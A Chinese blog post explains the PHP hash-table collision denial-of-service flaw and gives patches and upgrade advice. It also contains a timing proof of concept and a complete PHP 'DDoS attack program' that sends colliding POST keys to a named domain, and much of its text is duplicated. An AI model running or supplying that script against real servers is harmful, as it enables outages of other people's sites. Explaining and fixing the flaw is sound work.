工作原理:
PHP的数据类型是人们所喜爱的,因为它用起来方便。然而为了实现这种方便,必然要用到哈希表。
我们先来看一下PHP是怎样储存变量的:
我们先来看一下PHP是怎样储存变量的:
typedef union _zvalue_value {
long lval; /* long value */
double dval; /* double value */
struct {
char *val;
int len;
} str;
HashTable *ht; /* hash table value */
zend_object_value obj;
} zvalue_value;
long lval; /* long value */
double dval; /* double value */
struct {
char *val;
int len;
} str;
HashTable *ht; /* hash table value */
zend_object_value obj;
} zvalue_value;
以上代码在PHP 5.3.6中位于Zend/zend.h的305行。
在这个联合体中,有long保存整型、double保存浮点型、和struct来保存字符串型的字符串与字符串长度。
在其后的
在这个联合体中,有long保存整型、double保存浮点型、和struct来保存字符串型的字符串与字符串长度。
在其后的
struct _zval_struct {
zvalue_value value;
zend_uint refcount__gc;
zend_uchar type;
zend_uchar is_ref__gc;
};
zvalue_value value;
zend_uint refcount__gc;
zend_uchar type;
zend_uchar is_ref__gc;
};
中,type表示这个变量在PHP中的类型(详见附录1)。然而其中的HashTable *ht就是键名所保存的地方。我们知道链表的操作时间复杂度为O(n),而相比之下,设计得好的哈希表通常情况下只有O(1)。
PHP使用的算法是DJBX33A(http://blog.csdn.net/zuiaituantuan/article/details/6057586),然而如果键名为×××,那么情况就不一样了。PHP为整型键名做的是 hash & tableMask(&为按位与操作)的操作。
PHP使用的算法是DJBX33A(http://blog.csdn.net/zuiaituantuan/article/details/6057586),然而如果键名为×××,那么情况就不一样了。PHP为整型键名做的是 hash & tableMask(&为按位与操作)的操作。
h = zend_inline_hash_func(arKey, nKeyLength);
nIndex = h & ht->nTableMask;
p = ht->arBuckets[nIndex];
nIndex = h & ht->nTableMask;
p = ht->arBuckets[nIndex];
如果得到的p!==NULL,那么恭喜你,发生碰撞了。这个时候,PHP就会将新元素链接到原有元素链表头部。而查询的时候也是按照相同的策略,将链表中的所有的键名和要查找的键名进行一一比对,但是一般在正常使用的情况下,不会有多大问题。
那么知道了这种特性以后,要发起***,就变得简单了,只要对PHP页面发送POST请求(不论script中是否对POST进行处理),别有用心的构造key,那么PHP在引擎层面处理POST数据的时候,已经足以崩溃。
例如:64,128,192,256这样的int型key的hash值是0,那么就会发生碰撞,当key为64进行存储的时候,链表操作是0次,128为1次,192为2次,以此类推则有:time(n) = n-1;那么n个这样的key的链表操作数据就是0+1+2+3+...+(n-1) = (n-1)*(n-2)/2。
我们看一段代码:
';
$size = pow(2, 15); // 16 is just an example, could also be 15 or 17
$startTime = microtime( true);
$array = array();
for ($key = 0, $maxKey = ($size - 1) * $size; $key <= $maxKey; $key += $size) {
$array[$key] = 0;
}
$endTime = microtime( true);
echo 'Inserting ', $size, ' evil elements took ', $endTime - $startTime, ' seconds', "\n";
$startTime = microtime( true);
$array = array();
for ($key = 0, $maxKey = $size - 1; $key <= $maxKey; ++$key) {
$array[$key] = 0;
}
$endTime = microtime( true);
echo 'Inserting ', $size, ' good elements took ', $endTime - $startTime, ' seconds', "\n";
$size = pow(2, 15); // 16 is just an example, could also be 15 or 17
$startTime = microtime( true);
$array = array();
for ($key = 0, $maxKey = ($size - 1) * $size; $key <= $maxKey; $key += $size) {
$array[$key] = 0;
}
$endTime = microtime( true);
echo 'Inserting ', $size, ' evil elements took ', $endTime - $startTime, ' seconds', "\n";
$startTime = microtime( true);
$array = array();
for ($key = 0, $maxKey = $size - 1; $key <= $maxKey; ++$key) {
$array[$key] = 0;
}
$endTime = microtime( true);
echo 'Inserting ', $size, ' good elements took ', $endTime - $startTime, ' seconds', "\n";
以上这段代码来自参考资料第一条链接。
用第一种方法(恶意***)生成出来的数组大概要跑59.7秒,而下面的方法(正常情况)仅仅需要0.035秒。(Ubuntu 32位桌面环境 ,3.4G 内存,E8400 3.0G双核)
用第一种方法(恶意***)生成出来的数组大概要跑59.7秒,而下面的方法(正常情况)仅仅需要0.035秒。(Ubuntu 32位桌面环境 ,3.4G 内存,E8400 3.0G双核)
后来把上面的方法做成高斯炮,间隔着两炮打出去,服务器负载立马到0.9,CPU占用率高达29%。后来又做了一系列的尝试,发现高斯炮能瞬间占满CPU和内存。
解决方法:
1.如果是php-5.2.x的版本,通过打补丁可以修复此漏洞
patch地址:
https://github.com/laruence/laruence.github.com/tree/master/php-5.2-max-input-vars
2.如果是php-5.3.x的版本,修复漏洞有两种方法:
第一种:修改php-5.3.x的源码
A. 修改/main/main.c文件,把STD_PHP_INI_ENTRY宏加到main.c的PHP_INI_BEGIN()和PHP_INI_END()宏之间来注册PHP INI指令:
STD_PHP_INI_ENTRY(" max_input_vars", "1000", PHP_INI_SYSTEM|PHP_INI_PERDIR, OnUpdateLongGEZero, max_input_vars, php_core_globals, core_globals)
STD_PHP_INI_ENTRY(" max_input_vars", "1000", PHP_INI_SYSTEM|PHP_INI_PERDIR, OnUpdateLongGEZero, max_input_vars, php_core_globals, core_globals)
B.修改文件/main/php_globals.h,_php_core_globals结构体内加上:
long max_input_vars;
long max_input_vars;
C.修改文件/main/php_variables.c,在:
zend_symtable_update(symtable1, escaped_index, index_len + 1, &gpc_element, sizeof(zval *), (void **) &gpc_element_p);
之前加入:
if (zend_hash_num_elements(symtable1) >= PG(max_input_vars)) {
php_error_docref(NULL TSRMLS_CC, E_ERROR, "Input variables exceeded %ld. To increase the limit change max_input_vars in php.ini.", PG(max_input_vars));
}
if (zend_hash_num_elements(symtable1) >= PG(max_input_vars)) {
php_error_docref(NULL TSRMLS_CC, E_ERROR, "Input variables exceeded %ld. To increase the limit change max_input_vars in php.ini.", PG(max_input_vars));
}
源码修改完之后,进入原来的php源码目录:
make clean
make
make install
make clean
make
make install
测试:
phpinfo:
phpinfo:
出现max_input_vars=1000(默认值,可以在php.ini中配置此参数)
第二种方法:升级php主程序(建议使用)
官方在PHP-5.3.9RC2中修复了此漏洞
PHP 5.3.9RC2 :
http://downloads.php.net/johannes
PHP 5.4.0RC2:
http://windows.php.net/qa/
注释:
另外, 其他语言java, ruby等, 请各位也预先想好对策, 限制post_size是治标不治本的方法, 不过可以用来做临时解决方案.
DDOS***程序:
set_time_limit(0);
/**
* 设置变量
*/
$host = 'www.teamtop.com'; //域名
$uri = '/index.php'; //建立一个名为response.php的php文件,里面什么都不用写
$data = ''; //拼接***参数
$size = pow(2, 16);
for ($key = 0, $max = ($size - 1) * $size; $key <= $max; $key += $size) {
$data .= '&array[' . $key . ']=0';
}
/**
* 发送***请求
*/
$str = "POST {$uri} HTTP/1.1\r\n";
$str .= "Host: {$host}\r\n";
$str .= "Content-type: application/x-www-form-urlencoded\r\n";
$str .= "Content-length: " . strlen($data) . "\r\n";
$str .= "Connection: close\r\n";
$str .= "\r\n";
$str .= "{$data}\r\n";
$fp = @fsockopen($host, 80, $errno, $errstr, 30);
if (!$fp)
die('err');
fputs($fp, $str);
$s = '';
while (!feof($fp))
$s .= fgets($fp, 1024);
fclose($fp);
echo 'ok';
set_time_limit(0);
/**
* 设置变量
*/
$host = 'www.teamtop.com'; //域名
$uri = '/index.php'; //建立一个名为response.php的php文件,里面什么都不用写
$data = ''; //拼接***参数
$size = pow(2, 16);
for ($key = 0, $max = ($size - 1) * $size; $key <= $max; $key += $size) {
$data .= '&array[' . $key . ']=0';
}
/**
* 发送***请求
*/
$str = "POST {$uri} HTTP/1.1\r\n";
$str .= "Host: {$host}\r\n";
$str .= "Content-type: application/x-www-form-urlencoded\r\n";
$str .= "Content-length: " . strlen($data) . "\r\n";
$str .= "Connection: close\r\n";
$str .= "\r\n";
$str .= "{$data}\r\n";
$fp = @fsockopen($host, 80, $errno, $errstr, 30);
if (!$fp)
die('err');
fputs($fp, $str);
$s = '';
while (!feof($fp))
$s .= fgets($fp, 1024);
fclose($fp);
echo 'ok';
在***程序同层目录创建空文件response.php
注意观察:获取ok的时间,及服务器的CPU占用率
刚刚修复了服务器的这个漏洞,整合了网上的一些资料,跟大家做个分享!